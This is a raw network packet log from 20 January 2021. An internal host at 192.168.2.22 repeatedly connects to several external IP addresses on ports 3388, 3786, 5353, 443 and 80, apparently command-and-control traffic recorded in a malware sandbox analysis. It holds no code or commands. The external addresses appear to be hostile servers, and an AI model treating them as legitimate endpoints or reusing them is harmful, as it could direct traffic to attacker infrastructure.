Jan 20, 2021 16:15:13.367659092 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:13.372560978 CET	443	49244	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.388171911 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.395031929 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.395056009 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.395539045 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.409243107 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.432877064 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:13.432940960 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:13.463865995 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.494412899 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.494482994 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:13.533880949 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.578767061 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.579302073 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.580333948 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.594372988 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.594520092 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.661583900 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.661770105 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:13.662894011 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:13.677858114 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.677889109 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:13.764071941 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.764529943 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.764560938 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.764590979 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:13.822731972 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:15:13.825248957 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:15:13.934736013 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:13.955698967 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.966140985 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.966169119 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:13.966216087 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:13.966280937 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:13.973522902 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.037913084 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.037940025 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.040339947 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.040375948 CET	49245	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.051815033 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:14.051846027 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:14.051919937 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.054096937 CET	49243	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.135989904 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.136300087 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.159065008 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.170922995 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.223469019 CET	3786	49245	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.250916004 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.250951052 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.251022100 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.256967068 CET	49247	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.264189959 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.264321089 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.273977041 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:14.274059057 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.278935909 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.279036045 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.286664963 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.286803961 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.287578106 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.303817987 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.340043068 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.340121984 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.352469921 CET	5353	49243	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:14.357589960 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.373125076 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.391604900 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.391632080 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.416253090 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.426570892 CET	3388	49247	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.437695980 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.437736988 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.437830925 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.446496010 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.526554108 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.533288956 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.533308983 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.533427954 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.540915012 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.556094885 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.556209087 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.556921959 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.578861952 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:14.579031944 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.581007004 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.581528902 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.588927031 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.589128971 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.647996902 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.648025036 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.648096085 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.651261091 CET	49246	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.709857941 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.710303068 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.710494041 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.716690063 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.717545986 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.717570066 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:14.717870951 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.739566088 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.756930113 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.774061918 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.774084091 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.774132967 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.774147034 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.778670073 CET	443	49246	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.779788017 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.830410957 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:14.845303059 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.845338106 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:14.877502918 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:14.886568069 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.886697054 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.886832952 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:14.886854887 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:14.971704960 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:14.971816063 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.979628086 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:14.979660988 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.055948019 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.120033026 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.120187998 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.120945930 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.134284973 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:15.134320021 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:15.134434938 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:15.134469986 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:15.136689901 CET	49249	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:15.162892103 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.163007021 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.201440096 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.253374100 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.264306068 CET	443	49249	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:15.346015930 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.387578964 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.387605906 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.387734890 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:15.390880108 CET	49250	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:15.411245108 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.421195030 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.421227932 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.421360970 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.431416035 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.467392921 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.467433929 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.467555046 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.467621088 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.470757008 CET	49248	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.500478029 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.545623064 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.545731068 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.546330929 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.559937954 CET	3388	49250	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.575844049 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:15.686177969 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.686279058 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.687067986 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.724226952 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.724339962 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.724531889 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.724555016 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.724644899 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.727797031 CET	49251	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.737260103 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.737459898 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.744962931 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.745044947 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:15.745918036 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:15.764447927 CET	5353	49248	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.836529970 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.840827942 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:15.846537113 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.846579075 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:15.846632957 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.846690893 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.857151031 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:15.870114088 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.886850119 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.886893988 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.887018919 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.892872095 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:15.910867929 CET	3786	49251	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:15.918236017 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.925095081 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.925141096 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:15.925220013 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:15.938330889 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:15.969938040 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:15.970114946 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:15.971482038 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.027134895 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.027390957 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.067145109 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.081820011 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:16.081985950 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.084988117 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:15:16.088104010 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.088232994 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.098979950 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.108850956 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.109345913 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.109437943 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:16.114470005 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:16.114718914 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:16.121128082 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.121170044 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.121304035 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.129090071 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.150094986 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.150290012 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.163783073 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.163925886 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.263746977 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.263885021 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.271404028 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:16.273664951 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.275053024 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.275217056 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.283440113 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.283468008 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.283591032 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:16.310969114 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:16.316979885 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.402749062 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.402862072 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.442744970 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.452621937 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.455763102 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.455863953 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.456832886 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:16.530427933 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.530457020 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.679198980 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.747878075 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.767688990 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.767719984 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.767870903 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:16.767932892 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:16.771409988 CET	49255	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:16.784145117 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.784172058 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.784246922 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.784286976 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.787060976 CET	49256	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.807301044 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.807394981 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.817064047 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:16.817090988 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:16.817162037 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.817223072 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.820422888 CET	49254	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.839317083 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.897547007 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:16.902808905 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.906599998 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.906639099 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:16.906713963 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.908967018 CET	49252	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:16.914354086 CET	443	49256	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.936613083 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.940434933 CET	3388	49255	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:16.966797113 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.988439083 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.988490105 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:16.988611937 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:16.994715929 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.003555059 CET	3786	49254	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.064388037 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.064531088 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.066411972 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.080651045 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.080899954 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.087941885 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.103315115 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.129581928 CET	443	49257	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.129806995 CET	49257	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.194372892 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.194705963 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.194778919 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.195360899 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.199351072 CET	5353	49252	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.216505051 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.216536999 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.216661930 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.222553015 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.271879911 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.272183895 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.272291899 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.273437977 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.288403034 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.288434029 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.288549900 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.293967009 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.340034008 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.340064049 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.340142012 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.340193033 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.342924118 CET	49253	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.356973886 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.357078075 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.380598068 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.380655050 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.442375898 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.448092937 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.452617884 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.452657938 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.452722073 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.454655886 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.462968111 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.482587099 CET	3786	49258	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:17.482727051 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.486998081 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.488672018 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.488837004 CET	49258	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:17.497066021 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.497109890 CET	5353	49259	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.497193098 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.502835989 CET	49259	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:17.508167028 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.508253098 CET	49260	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:17.548942089 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.617769957 CET	3388	49262	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.617876053 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.618711948 CET	49262	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.631987095 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.632477999 CET	3388	49261	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:17.632508039 CET	5353	49253	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:17.632572889 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.636209011 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.636235952 CET	443	49260	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:17.641470909 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.641717911 CET	49261	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:17.671474934 CET	3786	49258	198.57.200.100	192.168.2.22
